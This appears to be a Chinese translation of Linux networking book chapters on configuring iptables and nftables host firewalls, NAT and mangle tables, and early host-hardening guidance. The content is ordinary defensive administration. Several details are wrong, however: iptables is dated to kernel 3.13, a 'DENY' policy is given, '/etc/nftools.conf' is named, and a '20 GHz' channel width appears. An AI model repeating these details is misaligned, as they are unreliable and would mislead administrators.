通过本章的学习,您应该对 OSI 模型中各种网络和应用协议的分层组织有很好的理解。您应该对 TCP 和 UDP 有扎实的了解,特别是这两种协议如何使用端口,以及 TCP 会话如何建立和终止。使用netstatss查看您的主机如何连接到各种远程服务,或者您的主机正在监听哪些服务,这是您可以继续使用的技能。在此基础上,使用端口扫描程序查看您的组织中运行着哪些主机和网络服务应该是您会发现有用的技能。最后,我们讨论的 Linux 无线工具应该有助于故障排除、配置和无线站点调查。所有这些技能将是我们在本书中继续前进时建立的东西,但更重要的是,它们将有助于您在组织中解决应用程序和网络问题。

这结束了我们对使用 Linux 进行网络故障排除的讨论。尽管在大多数章节中我们会重新讨论故障排除-随着我们前进并构建基础设施的每个部分,我们会发现新的潜在问题和故障排除方法。在本节中,我们详细讨论了通信从网络和主机的角度发生的情况。在下一章中,我们将讨论 Linux 防火墙,这是限制和控制通信的好方法。

问题

随着我们的结束,这里有一系列问题供您测试对本章材料的了解。您将在附录评估部分找到答案:

  1. 当您使用netstatss或其他命令评估本地端口时,您是否会看到处于ESTABLISHED状态的 UDP 会话?

  2. 确定哪些进程监听哪些端口是重要的吗?

  3. 确定从任何特定应用程序连接到哪些远程端口是重要的吗?

  4. 为什么要扫描除tcp/443以外的端口上即将过期或即将过期的证书?

  5. 为什么 netcat 需要sudo权限才能在端口80上启动监听器?

  6. 在 2.4 GHz 频段中,哪三个信道是最佳选择以减少干扰?

  7. 除了 20 GHz 之外,您何时会使用其他 Wi-Fi 信道宽度?

进一步阅读

www.amazon.com/Nmap-Network-Scanning-Official-Discovery/dp/0979958717

第四章:Linux 防火墙

Linux 几乎一直都有集成的防火墙可供管理员使用。使用本机防火墙工具,您可以创建传统的周边防火墙,包括地址转换或代理服务器。然而,在现代数据中心,这些并不是典型的用例。现代基础设施中主机防火墙的典型用例如下:

  • 入站访问控制,限制对管理界面的访问

  • 入站访问控制,限制对其他安装的服务的访问

  • 记录访问,以备后续的事件响应,如安全暴露、违规或其他事件。

尽管出站过滤(出站访问控制)当然是建议的,但这更常见地是在网络边界上实施 - 在 VLAN 之间的防火墙和路由器上,或者面向不太受信任的网络,如公共互联网。

在本章中,我们将重点介绍实施一组规则,以管理对实施通用访问的主机的访问,以及对管理员访问的 SSH 服务。

在本章中,我们将涵盖以下主题:

  • 配置 iptables

  • 配置 nftables

技术要求

为了跟随本章的示例,我们将继续在现有的 Ubuntu 主机或虚拟机上进行。本章将重点介绍 Linux 防火墙,因此可能需要第二台主机来测试防火墙更改。

在我们逐步进行各种防火墙配置时,我们将只使用两个主要的 Linux 命令:

配置 iptables

在撰写本文时(2021 年),我们对防火墙架构还在变化中。iptables 仍然是许多发行版的默认主机防火墙,包括我们的示例 Ubuntu 发行版。然而,该行业已开始向更新的架构 nftables(Netfilter)迈进。例如,红帽和 CentOS v8(在 Linux 内核 4.18 上)将 nftables 作为默认防火墙。仅供参考,当 iptables 在内核版本 3.13 中引入时(大约在 2014 年),它取代了ipchains包(该包在 1999 年的内核版本 2.2 中引入)。转移到新命令的主要原因是朝着更一致的命令集前进,提供更好的 IPv6 支持,并使用 API 提供更好的编程支持进行配置操作。

尽管 nftables 架构确实有一些优势(我们将在本章中介绍),但当前的 iptables 方法已经有数十年的惯性。整个自动化框架和产品都是基于 iptables 的。一旦我们进入语法,您会发现这看起来可能是可行的,但请记住,通常情况下,Linux 主机将被部署并使用数十年之久 - 想想收银机、医疗设备、电梯控制或与制造设备(如 PLC)一起工作的主机。在许多情况下,这些长寿命的主机可能没有配置自动更新,因此根据组织的类型,您可能随时可以轻松地预期使用来自 5 年、10 年或 15 年前的完整操作系统版本的主机。此外,由于这些设备的特性,即使它们连接到网络,它们可能不会被列入“计算机”清单。这意味着,尽管默认防火墙从 iptables 迁移到 nftables 可能在任何特定发行版的新版本上迅速进行,但将有大量的遗留主机将继续使用 iptables 多年。

现在我们知道了 iptables 和 nftables 是什么,让我们开始配置它们,首先是 iptables。

iptables 的高级概述

iptables 是一个 Linux 防火墙应用程序,在大多数现代发行版中默认安装。如果启用了 iptables,它将管理主机的所有流量。防火墙配置位于文本文件中,与您在 Linux 上所期望的一样,它被组织成包含一组规则的表chains

当数据包匹配规则时,规则的结果将是一个目标。目标可以是另一个链,也可以是三个主要操作之一:

  • 接受:数据包被传递。

  • 丢弃:数据包被丢弃;不会被传递。

  • 返回:阻止数据包穿过此链;告诉它返回到上一个链。

其中一个默认表称为filter。这个表有三个默认链:

  • 输入:控制进入主机的数据包

  • 转发:处理传入的数据包以转发到其他地方。

  • 输出:处理离开主机的数据包

另外两个默认表是NATMangle

像所有新命令一样,查看 iptables 手册页,并快速查看 iptables 帮助文本。为了更容易阅读,您可以通过less命令运行帮助文本,使用iptables -- help | less

默认情况下,iptables 默认情况下未配置。我们可以从“iptables –L -v”(用于“list”)中看到三个默认链中没有规则:

robv@ubuntu:~$ sudo iptables -L -v
Chain INPUT (policy ACCEPT 254 packets, 43091 bytes)
 pkts bytes target     prot opt in     out     source               destination 
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination 
Chain OUTPUT (policy ACCEPT 146 packets, 18148 bytes)
 pkts bytes target     prot opt in     out     source               destination

我们可以看到服务正在运行,尽管INPUTOUTPUT链上的数据包和字节数都不为零且在增加。

为了向链中添加规则,我们使用-A参数。这个命令可以带几个参数。一些常用的参数如下:

因此,例如,这两条规则将允许来自网络1.2.3.0/24的主机连接到我们主机的端口tcp/22,并且任何东西都可以连接到tcp/443

sudo iptables -A INPUT -i ens33 -p tcp  -s 1.2.3.0/24 --dport 22  -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT

端口tcp/22是 SSH 服务,tcp/443是 HTTPS,但如果选择的话,没有什么可以阻止您在任一端口上运行其他服务。当然,如果这些端口上没有任何运行的东西,规则就毫无意义了。

执行完毕后,让我们再次查看我们的规则集。我们将使用- -line-numbers添加行号,并使用“-n”(用于数字)跳过地址的任何 DNS 解析:

robv@ubuntu:~$ sudo iptables -L -n -v --line-numbers
Chain INPUT (policy ACCEPT 78 packets, 6260 bytes)
num   pkts bytes target     prot opt in     out     source               destination
1        0     0 ACCEPT     tcp  --  ens33  *       1.2.3.0/24            0.0.0.0/0            tcp dpt:22
2        0     0 ACCEPT     tcp  --  *      *       0.0.0.0/0             0.0.0.0/0            tcp dpt:443
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
num   pkts bytes target     prot opt in     out     source               destination
Chain OUTPUT (policy ACCEPT 56 packets, 6800 bytes)
num   pkts bytes target     prot opt in     out     source               destination

规则列表按顺序从上到下进行处理,因此如果您希望,例如,仅拒绝一个主机访问我们的https服务器但允许其他所有内容,您将在INPUT规范符号中添加行号。请注意,我们已经在以下代码块的第二条命令中改变了List语法-我们只指定了INPUT规则,并且还指定了filter表(如果您没有指定任何内容,则默认为 filter):

sudo iptables -I INPUT 2 -i ens33 -p tcp  -s 1.2.3.5 --dport 443 -j DROP
robv@ubuntu:~$ sudo iptables -t filter -L INPUT --line-numbers
Chain INPUT (policy ACCEPT)
num  target     prot opt source               destination
1    ACCEPT     tcp  --  1.2.3.0/24           anywhere              tcp dpt:ssh
2    DROP       tcp  --  1.2.3.5              anywhere              tcp dpt:https
3    ACCEPT     tcp  --  anywhere             anywhere              tcp dpt:https

在前面的例子中,我们使用了“-I”参数在链中的特定位置插入规则。然而,如果您已经计划好并且正在按顺序构建规则集,您可能会发现使用“-A”(追加)参数更容易,它将规则追加到列表底部。

在您的源中,您可以定义主机而不是子网,可以只使用 IP 地址(没有掩码)或一系列地址,例如,--src-range 192.168.122.10-192.168.122.20

这个概念可以用来保护服务器上运行的特定服务。例如,通常您会希望限制对允许管理员访问的端口(例如 SSH)的访问仅限于该主机的管理员,但允许更广泛地访问主机上的主要应用程序(例如 HTTPS)。我们刚刚定义的规则是对此的一个开始,假设服务器的管理员在1.2.3.0/24子网上。然而,我们错过了阻止其他子网的人连接到 SSH 的“拒绝”:

sudo iptables -I INPUT 2 -i ens33 -p tcp  --dport 22 -j DROP

这些规则很快就会变得复杂。习惯于将协议规则“分组”是很好的。在我们的例子中,我们将 SSH 保持相邻并按逻辑顺序排列,HTTPS 规则也是如此。您希望每个协议/端口的默认操作都是每个组中的最后一个,前面是例外情况:

sudo iptables –L
Chain INPUT (policy ACCEPT)
num  target     prot opt source               destination
1    ACCEPT     tcp  --  1.2.3.0/24           anywhere              tcp dpt:ssh
2    DROP       tcp  --  anywhere             anywhere              tcp dpt:ssh
3    DROP       tcp  --  1.2.3.5              anywhere              tcp dpt:https
4    ACCEPT     tcp  --  anywhere             anywhere              tcp dpt:https

由于规则是按顺序处理的,出于性能原因,您将希望将最频繁“命中”的规则放在列表的顶部。因此,在我们的示例中,我们可能已经反向放置了规则。在许多服务器上,您可能更愿意将应用程序端口(在本例中为tcp/443)放在列表的顶部,而将管理员权限(通常看到较低的流量)放在列表的底部。

通过数字删除特定规则(例如,如果我们有一个INPUT规则 5),请使用以下命令:

sudo iptables –D INPUT 5

由于网络管理员应该在本书中保持对安全性的关注,请记住,使用 iptables 限制流量只是过程的前半部分。除非启用了 iptables 日志记录,否则我们无法回顾过去发生的事情。要记录规则,请向其添加-j LOG。除了仅记录外,我们还可以使用- -log-level参数添加日志级别,并使用- -log-prefix 'text goes here'添加一些描述性文本。您可以从中获得什么?

  • 记录允许的 SSH 会话可以帮助我们跟踪可能正在对我们主机上的管理服务进行端口扫描的人员。

  • 记录被阻止的 SSH 会话可以跟踪试图从非管理员子网连接到管理服务的人员。

  • 记录成功和失败的 HTTPS 连接可以帮助我们在故障排除时将 Web 服务器日志与本地防火墙日志相关联。

要仅记录所有内容,请使用以下命令:

sudo iptables –A INPUT –j LOG

要仅记录来自一个子网的流量,请使用以下命令:

sudo iptables –A input –s 192.168.122.0/24 –j LOG

要添加日志级别和一些描述性文本,请使用以下命令:

sudo iptables -A INPUT –s 192.168.122.0/24 –j LOG - -log-level 3 –log-prefix '*SUSPECT Traffic Rule 9*'

日志存储在哪里?在 Ubuntu(我们的示例操作系统)中,它们被添加到/var/log/kern.log。在 Red Hat 或 Fedora 中,可以在/var/log/messages中找到它们。

我们还应该考虑做什么?就像信息技术中的其他一切一样,如果您可以构建一个东西并让它自行记录,通常可以避免编写单独的文档(通常在完成后几天就过时了)。要添加注释,只需向任何规则添加-m comment - -comment "Comment Text Here"

因此,对于我们的小型四条规则防火墙表,我们将向每条规则添加注释:

sudo iptables -A INPUT -i ens33 -p tcp  -s 1.2.3.0/24 --dport 22  -j ACCEPT -m comment --comment "Permit Admin" 
sudo iptables -A INPUT -i ens33 -p tcp  --dport 22  -j DROP -m comment --comment "Block Admin" 
sudo iptables -I INPUT 2 -i ens33 -p tcp  -s 1.2.3.5 --dport 443 -j DROP -m comment --comment "Block inbound Web"
sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT -m comment --comment "Permit all Web Access"
sudo iptables -L INPUT
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     tcp  --  1.2.3.0/24           anywhere              tcp dpt:ssh /* Permit Admin */
DROP       tcp  --  anywhere             anywhere              tcp dpt:ssh /* Block Admin */
DROP       tcp  --  1.2.3.5              anywhere              tcp dpt:https /* Block inbound Web */
ACCEPT     tcp  --  anywhere             anywhere              tcp dpt:https /* Permit all Web Access */

关于 iptables 规则的最后说明:在您的链中有一个默认规则,称为默认策略,这是最后一个条目。默认值为ACCEPT,因此如果数据包一直到列表底部,它将被接受。这通常是期望的行为,如果您计划拒绝一些流量然后允许其余流量 - 例如,如果您正在保护“大多数公共”服务,例如大多数 Web 服务器。

然而,如果所需的行为是允许一些流量然后拒绝其余流量,您可能希望将默认策略更改为DENY。要更改INPUT链的默认策略,请使用iptables –P INPUT DENY命令。ACCEPT

您始终可以添加一个最终规则,允许所有或拒绝所有以覆盖默认策略(无论是什么)。

现在我们已经有了一个基本的规则集,就像许多其他事情一样,您需要记住这个规则集不是永久的 - 它只是在内存中运行,因此不会在系统重新启动后保留。您可以使用iptables-save命令轻松保存您的规则。如果在配置中出现错误并希望恢复到保存的表而不重新加载,您可以随时使用iptables-restore命令。虽然这些命令在 Ubuntu 发行版中默认安装,但您可能需要安装一个软件包将它们添加到其他发行版中。例如,在基于 Debian 的发行版中,检查或安装iptables-persistent软件包,或在基于 Red Hat 的发行版中,检查或安装iptables-services软件包。

现在我们已经牢牢掌握了基本的允许和拒绝规则,让我们来探索网络地址转换NAT)表。

NAT 表

NAT 用于转换来自(或前往)一个 IP 地址或子网的流量,并使其看起来像另一个 IP 地址。

这可能是在互联网网关或防火墙中最常见的情况,其中“内部”地址位于 RFC1918 范围中的一个或多个,而“外部”接口连接到整个互联网。在这个例子中,内部子网将被转换为可路由的互联网地址。在许多情况下,所有内部地址都将映射到单个“外部”地址,即网关主机的外部 IP。在这个例子中,这是通过将每个“元组”(源 IP、源端口、目标 IP、目标端口和协议)映射到一个新的元组来实现的,其中源 IP 现在是一个可路由的外部 IP,源端口只是下一个空闲的源端口(目标和协议值保持不变)。

防火墙将这种从内部元组到外部元组的映射保留在内存中的“NAT 表”中。当返回流量到达时,它使用这个表将流量映射回真实的内部源 IP 和端口。如果特定的 NAT 表条目是针对 TCP 会话的,TCP 会话拆除过程将删除该条目的映射。如果特定的 NAT 表条目是针对 UDP 流量的,那么在一段时间的不活动后,该条目通常会被删除。

这在实际中是什么样子?让我们以一个内部网络192.168.10.0/24的例子来说明,以及一个 NET 配置,其中所有内部主机都使用网关主机的外部接口的这种“过载 NAT”配置:

图 4.1–Linux 作为周界防火墙

图 4.1–Linux 作为周界防火墙

让我们更具体一些。我们将添加一个主机,192.168.10.10,该主机将向8.8.8.8发出 DNS 查询:

图 4.2–周界防火墙示例,显示 NAT 和状态(会话跟踪或映射)

图 4.2–周界防火墙示例,显示 NAT 和状态(会话跟踪或映射)

因此,使用这个例子,我们的配置是什么样子的?就像以下这样简单:

iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE

这告诉网关主机使用eth1接口的 IP 地址对离开接口的所有流量进行伪装。POSTROUTING关键字告诉它使用POSTROUTING链,这意味着这个MASQERADE操作发生在数据包路由之后。

当我们开始引入加密时,操作是在路由前还是路由后发生将产生更大的影响。例如,如果我们在 NAT 操作之前或之后加密流量,这可能意味着流量在一个实例中被加密,而在另一个实例中则没有。因此,在这种情况下,出站 NAT 将在路由前或后是相同的。最好开始定义顺序,以避免混淆。

这有数百种变体,但在这一点上重要的是你已经了解了 NAT 的工作原理(特别是映射过程)。让我们离开我们的 NAT 示例,看看混淆表是如何工作的。

混淆表

混淆表用于手动调整 IP 数据包在我们的 Linux 主机中传输时的值。让我们考虑一个简短的例子–使用我们上一节中的防火墙示例,如果eth1接口上的互联网上行使用1500字节的数据包。例如,DSL 链接通常有一些封装开销,而卫星链接则使用较小的数据包(这样任何单个数据包错误都会影响较少的流量)。

“没问题,”你说。“在会话启动时有一个完整的 MTU“发现”过程,通信的两个主机会找出两方之间可能的最大数据包。”然而,特别是对于较旧的应用程序或特定的 Windows 服务,这个过程会中断。可能导致这种情况的另一件事是,如果运营商网络由于某种原因阻止了 ICMP。这可能看起来像是一个极端特例,但实际上,它经常出现。特别是对于传统协议,常见的是发现这个 MTU 发现过程中断。在这种情况下,混淆表就是你的朋友!

这个例子告诉操纵表“当您看到一个SYN数据包时,调整这个例子中的1412”:

iptables -t mangle -A FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 1412

如果您正在为实际配置进行计算,如何获得这个“较小的数字”?如果 ICMP 被传递,您可以使用以下命令:

ping –M do –s 1400 8.8.8.8

这告诉ping,“不要分段数据包;发送一个目的地为8.8.8.81400字节大小的数据包。”

通常,查找“真实”大小是一个试错过程。请记住,这个大小包括在这个大小中的 28 个字节的数据包头。

或者如果 ICMP 不起作用,您可以使用nping(来自我们的 NMAP 部分)。在这里,我们告诉nping使用 TCP,端口53mtu值为1400,仅持续 1 秒:

$ sudo nping --tcp -p 53 -df --mtu 1400 -c 1 8.8.8.8
Starting Nping 0.7.80 ( https://nmap.org/nping ) at 2021-04-22 10:04 PDT
Warning: fragmentation (mtu=1400) requested but the payload is too small already (20)
SENT (0.0336s) TCP 192.168.122.113:62878 > 8.8.8.8:53 S ttl=64 id=35812 iplen=40  seq=255636697 win=1480
RCVD (0.0451s) TCP 8.8.8.8:53 > 192.168.122.113:62878 SA ttl=121 id=42931 iplen=44  seq=1480320161 win=65535 <mss 1430>

在这两种情况下(pingnping),您都在寻找适用的最大数字(在nping的情况下,这将是您仍然看到RCVD数据包的最大数字),以确定 MSS 的帮助数字。

从这个例子中可以看出,操纵表的使用非常少。通常,您会在数据包中插入或删除特定的位 - 例如,您可以根据流量类型设置数据包中的服务类型TOS)或区分服务字段代码点DSCP)位,以告诉上游运营商特定流量可能需要的服务质量。

现在我们已经介绍了一些 iptables 中的默认表,让我们讨论一下在构建复杂表时保持操作顺序的重要性。

iptables 的操作顺序

已经讨论了一些主要的 iptables,为什么操作顺序很重要?我们已经提到了一个例子 - 如果您正在使用 IPSEC 加密流量,通常会有一个“匹配列表”来定义哪些流量正在被加密。通常情况下,您希望在 NAT 表处理流量之前进行匹配。

同样,您可能正在进行基于策略的路由。例如,您可能希望通过源、目的地和协议匹配流量,并且,例如,将备份流量转发到具有较低每个数据包成本的链路上,并将常规流量转发到具有更好速度和延迟特性的链路上。您通常希望在 NAT 之前做出这个决定。

有几个图表可用于确定 iptables 操作发生的顺序。我通常参考由Phil Hagen维护的图表,网址为stuffphilwrites.com/wp-content/uploads/2014/09/FW-IDS-iptables-Flowchart-v2019-04-30-1.png

图 4.3 - iptables 的操作顺序

图 4.3 - iptables 的操作顺序

正如您所看到的,配置、处理,尤其是调试 iptables 配置可能变得非常复杂。在本章中,我们专注于输入表,特别是限制或允许在主机上运行的服务的访问。随着我们继续讨论 Linux 上运行的各种服务,您应该能够利用这些知识,看到输入规则可以用来保护您环境中的服务。

接下来您可以用 iptables 做什么?像往常一样,再次查看 man 页面 - 大约有 100 页的语法和示例,如果您想深入了解这个功能,iptables man 页面是一个很好的资源。例如,正如我们讨论过的,您可以使用 iptables 和一些静态路由将 Linux 主机作为路由器或基于 NAT 的防火墙。然而,这些不是常规数据中心的正常用例。在 Linux 主机上运行这些功能是很常见的,但在大多数情况下,您会看到这些功能在预打包的 Linux 发行版上执行,比如 VyOS 发行版或路由器的 FRR/Zebra 软件包,或者 pfSense 或 OPNsense 防火墙发行版。

掌握了 iptables 的基础知识,让我们来解决 nftables 防火墙的配置。

配置 nftables

正如我们在本章开头讨论的那样,iptables 正在被弃用,并最终在 Linux 中被 nftables 取代。考虑到这一点,使用 nftables 有什么优势?

部署 nftables 规则比在 iptables 中快得多——在底层,iptables 在添加每条规则时都会修改内核。而 nftables 不会这样做。与此相关,nftables 还有一个 API。这使得使用编排或“网络即代码”工具更容易进行配置。这些工具包括 Terraform、Ansible、Puppet、Chef 和 Salt 等应用程序。这使得系统管理员更容易地自动化主机的部署,因此新的虚拟机可以在几分钟内部署到私有或公共云中,而不是几小时。更重要的是,可能涉及多个主机的应用程序可以并行部署。

nftables 在 Linux 内核中的操作效率也要高得多,因此对于任何给定的规则集,您可以指望 nftables 占用更少的 CPU。对于我们的仅有四条规则的规则集来说,这可能看起来并不重要,但是如果您有 40 条、400 条或 4000 条规则,或者在 400 台虚拟机上有 40 条规则,这可能会很快累积起来!

nftables 使用单个命令进行所有操作——nft。虽然您可以使用 iptables 语法进行兼容性,但您会发现没有预定义的表或链,更重要的是,您可以在单个规则中进行多个操作。我们还没有讨论太多关于 IPv6 的内容,但是 iptables 本身无法处理 IPv6(您需要安装一个新的软件包:ip6tables)。

基本知识覆盖后,让我们深入研究命令行和使用nft命令配置 nftables 防火墙的细节。

nftables 基本配置

在这一点上,看一下 nftables 的 man 页面可能是明智的。还要查看主要 nftables 命令nft的 man 页面。这个手册比 iptables 更长、更复杂;长达 600 多页。

考虑到这一点,让我们部署与 iptables 相同的示例配置。保护主机的直接INPUT防火墙是大多数数据中心中最常见的 Linux 防火墙风格。

首先,请确保记录您已经存在的 iptables 和 ip6tables 规则(iptables –Lip6tables –L),然后清除两者(使用-F选项)。即使您可以同时运行 iptables 和 nftables,也并不意味着这样做是明智的。考虑一下将管理此主机的下一个人;他们将只看到一个防火墙,认为这就是所有已部署的。为了下一个继承您正在处理的主机的人,配置事物总是明智的!

如果您有现有的 iptables 规则集,特别是如果它是一个复杂的规则集,那么iptables-translate命令将把几小时的工作转化为几分钟的工作:

robv@ubuntu:~$ iptables-translate -A INPUT -i ens33 -p tcp  -s 1.2.3.0/24 --dport 22  -j ACCEPT -m comment --comment "Permit Admin"
nft add rule ip filter INPUT iifname "ens33" ip saddr 1.2.3.0/24 tcp dport 22 counter accept comment \"Permit Admin\"

使用这种语法,我们的 iptables 规则变成了一组非常相似的 nftables 规则:

sudo nft add table filter
sudo nft add chain filter INPUT
sudo nft add rule ip filter INPUT iifname "ens33" ip saddr 1.2.3.0/24 tcp dport 22 counter accept comment \"Permit Admin\"
sudo nft add rule ip filter INPUT iifname "ens33" tcp dport 22 counter drop comment \"Block Admin\" 
sudo nft add rule ip filter INPUT iifname "ens33" ip saddr 1.2.3.5 tcp dport 443 counter drop comment \"Block inbound Web\" 
sudo nft add rule ip filter INPUT tcp dport 443 counter accept comment \"Permit all Web Access\"

请注意,在添加规则之前,我们首先创建了一个表和一个链。现在来列出我们的规则集:

sudo nft list ruleset
table ip filter {
        chain INPUT {
                iifname "ens33" ip saddr 1.2.3.0/24 tcp dport 22 counter packets 0 bytes 0 accept comment "Permit Admin"
                iifname "ens33" tcp dport 22 counter packets 0 bytes 0 drop comment "Block Admin"
                iifname "ens33" ip saddr 1.2.3.5 tcp dport 443 counter packets 0 bytes 0 drop comment "Block inbound Web"
                tcp dport 443 counter packets 0 bytes 0 accept comment "Permit all Web Access"
        }
}

就像许多 Linux 网络构造一样,nftables 规则在这一点上并不是持久的;它们只会在下一次系统重新加载(或服务重新启动)之前存在。默认的nftools规则集在/etc/nftools.conf中。您可以通过将它们添加到此文件中使我们的新规则持久。

特别是在服务器配置中,更新nftools.conf文件可能会变得非常复杂。通过将nft配置分解为逻辑部分并将其拆分为include文件,可以大大简化这一过程。

使用包含文件

还可以做什么?您可以设置一个“case”结构,将防火墙规则分段以匹配您的网络段:

nft add rule ip Firewall Forward ip daddr vmap {\
      192.168.21.1-192.168.21.254 : jump chain-pci21, \
      192.168.22.1-192.168.22.254 : jump chain-servervlan, \
      192.168.23.1-192.168.23.254 : jump chain-desktopvlan23 \
}

在这里,定义的三个链都有自己的入站规则或出站规则集。

您可以看到每个规则都是一个match子句,然后将匹配的流量跳转到管理子网的规则集。

与其制作一个单一的、庞大的 nftables 文件,不如使用include语句以逻辑方式分隔语句。这样你可以维护一个单一的规则文件,用于所有 web 服务器、SSH 服务器或其他服务器或服务类,这样你最终会得到一些标准的include文件。这些文件可以根据需要在每个主机的主文件中以逻辑顺序包含:

# webserver ruleset
Include "ipv4-ipv6-webserver-rules.nft"
# admin access restricted to admin VLAN only
Include "ssh-admin-vlan-access-only.nft"

或者,你可以使规则变得越来越复杂-到了你基于 IP 头字段的规则,比如区分服务代码点DSCP),这是数据包中用于确定或强制执行服务质量QOS)的六位,特别是对于语音或视频数据包。你可能还决定在路由前或路由后应用防火墙规则(如果你正在进行 IPSEC 加密,这真的很有帮助)。

删除我们的防火墙配置

在我们可以继续下一章之前,我们应该删除我们的示例防火墙配置,使用以下两个命令:

$ # first remove the iptables INPUT and FORWARD tables
$ sudo iptables -F INPUT
$ sudo iptables -F FORWARD
$ # next this command will flush the entire nft ruleset
$ sudo nft flush ruleset

总结

虽然许多发行版仍将 iptables 作为默认防火墙,但随着时间的推移,我们可以预期这种情况会转向更新的 nftables 架构。在这个过渡完成之前还需要一些年头,即使在那时,也会出现一些“意外”,比如你发现了你清单中没有的主机,或者你没有意识到的基于 Linux 的设备-物联网设备,比如恒温器、时钟或电梯控制器。本章让我们对这两种架构有了初步了解。

在 nftables 手册页面中大约有 150 页,iptables 手册页面中有 20 页,这些文档本质上就是一本独立的书。我们已经初步了解了这个工具,但在现代数据中心,为每个主机定义入口过滤器是你最常见的 nftables 用法。然而,当你探索数据中心的安全要求时,出站和过境规则可能确实在你的策略中占据一席之地。我希望这次讨论对你的旅程是一个良好的开始!

如果你发现我们在本章讨论的任何概念都有些模糊,现在是一个很好的时间来复习它们。在下一章中,我们将讨论 Linux 服务器和服务的整体加固方法-当然,Linux 防火墙是这次讨论的关键部分!

问题

最后,这里是一些问题列表,供你测试对本章材料的了解。你可以在附录评估部分找到答案:

  1. 如果你要开始一个新的防火墙策略,你会选择哪种方法?

  2. 你会如何实施防火墙的中央标准?

进一步阅读

stuffphilwrites.com/2014/09/iptables-processing-flowchart/

stuffphilwrites.com/wp-content/uploads/2014/09/FW-IDS-iptables-Flowchart-v2019-04-30-1.png

第五章:具有实际示例的 Linux 安全标准

在本章中,我们将探讨为什么 Linux 主机,就像任何主机一样,在初始安装后需要一些关怀 - 事实上,在它们的整个生命周期中 - 以进一步加固它们。在此过程中,我们将涵盖各种主题,以建立加固 Linux 主机的最终“大局”。

本章将涵盖以下主题:

  • 为什么我需要保护我的 Linux 主机?

  • 云特定的安全考虑

  • 常见的行业特定安全标准

  • 互联网安全中心的关键控制

  • 互联网安全中心基准

  • SELinux 和 AppArmor

技术要求

在本章中,我们将涵盖许多主题,但技术上的重点将放在加固 SSH 服务上,使用我们当前的 Linux 主机或虚拟机。与上一章一样,您可能会发现在进行更改时测试您的更改是否有用,但这并不是必须的。

为什么我需要保护我的 Linux 主机?

就像几乎所有其他操作系统一样,Linux 安装经过简化,使安装过程尽可能简单,尽可能少地出现问题。正如我们在前几章中看到的,这通常意味着没有启用防火墙的安装。此外,操作系统版本和软件包版本当然会与安装媒体匹配,而不是与每个软件包的最新版本匹配。在本章中,我们将讨论 Linux 中的默认设置通常不是大多数人认为安全的设置,作为行业,我们如何通过立法、法规和建议来解决这个问题。

至于初始安装是否过时,幸运的是,大多数 Linux 发行版都启用了自动更新过程。这由/etc/apt/apt.conf.d/20auto-upgrades文件中的两行控制:

APT::Periodic::Update-Package-Lists "1";
APT::Periodic::Unattended-Upgrade "1";

这两个设置默认都设置为1(启用)。这两行都很容易理解 - 第一行控制包列表是否更新,第二行控制自动更新的开启或关闭。对于可能处于“巡航控制”管理方法的桌面或服务器来说,这个默认设置并不是一个坏设置。但需要注意的是,Unattended-Upgrade行只启用安全更新。

在大多数良好管理的环境中,您会期望看到安排的维护窗口,先在不太关键的服务器上进行升级和测试,然后再部署到更重要的主机上。在这些情况下,您将希望将自动更新设置为0,并使用手动或脚本化的更新过程。对于 Ubuntu,手动更新过程涉及两个命令,按以下顺序执行:

这些可以合并成一行(请参见下一行代码),但在升级步骤中您将需要回答一些“是/否”提示 - 首先是批准整个过程和数据量。此外,如果您的任何软件包在版本之间更改了默认行为,您将被要求做出决定:

# sudo apt-get update && sudo apt-get upgrade

&&运算符按顺序执行命令。第二个命令只有在第一个成功完成(返回代码为零)时才执行。

但等等,您可能会说,我的一些主机在云中 - 那它们呢?在下一节中,您将发现无论您在何处安装,Linux 都是 Linux,而且在某些情况下,您的云实例可能比您的“数据中心”服务器模板更不安全。无论您的操作系统是什么,或者您在哪里部署,更新都将是您安全程序的关键部分。

云特定的安全考虑

如果您在任何主要云中启动虚拟机并使用它们的默认镜像,从安全的角度来看,有一些事情需要考虑:

  • 有些云启用了自动更新;有些没有。然而,每个操作系统的每个镜像总是有些过时。在您启动虚拟机之后,您将需要更新它,就像您会更新独立主机一样。

  • 大多数云服务镜像也有主机防火墙,在某些限制模式下启用。对于您来说,这两个防火墙问题意味着,当您首次启动新的 Linux 虚拟机时,不要指望能够“ping”它,直到您查看了主机防火墙配置(请记住上一章 - 一定要检查iptablesnftables)。

  • 许多云服务镜像默认情况下允许直接从公共互联网进行管理访问。在 Linux 的情况下,这意味着通过tcp/22进行 SSH。虽然这种访问的默认设置不像各种云服务提供商早期那样常见,但检查您是否对整个互联网开放了 SSH(tcp/22)仍然是明智的。

  • 通常,您可能正在使用云“服务”,而不是实际的服务器实例。例如,无服务器数据库实例很常见,您可以完全访问和控制您的数据库,但承载它的服务器对您的用户或应用程序不可见。潜在的服务器可能专用于您的实例,但更有可能是跨多个组织共享的。

现在我们已经讨论了本地部署和云 Linux 部署之间的一些差异,让我们讨论一下不同行业之间的安全要求的差异。

常见的行业特定安全标准

有许多行业特定的指导和监管要求,其中一些即使您不在该行业,您可能也熟悉。由于它们是行业特定的,我们将对每个进行高层描述 - 如果其中任何一个适用于您,您将知道每个都值得一本书(或几本书)来描述。

尽管这些标准和监管或法律要求各自具有行业特定的重点,但许多基本建议和要求都非常相似。当没有提供良好安全指导的一套法规时,互联网安全中心CIS)的“关键控制”通常被使用。事实上,这些控制通常与监管要求一起使用,以提供更好的整体安全姿态。

互联网安全中心关键控制

虽然 CIS 的关键控制并不是合规标准,但它们无疑是任何组织的一个很好的基础和一个良好的工作模型。关键控制非常实用 - 它们不是以合规性为驱动,而是专注于现实世界的攻击和对抗。理解是,如果您专注于这些控制,特别是按顺序专注于它们,那么您的组织将很好地抵御“野外”中看到的更常见的攻击。例如,仅仅通过查看顺序,就可以明显地看出,您无法保护您的主机(#3),除非您知道您网络上有哪些主机(#1)。同样,日志记录(#8)没有主机和应用程序清单(#2#3)是无效的。当组织按照列表逐步进行工作时,它很快就会达到不成为“群体中最慢的羚羊”的目标。

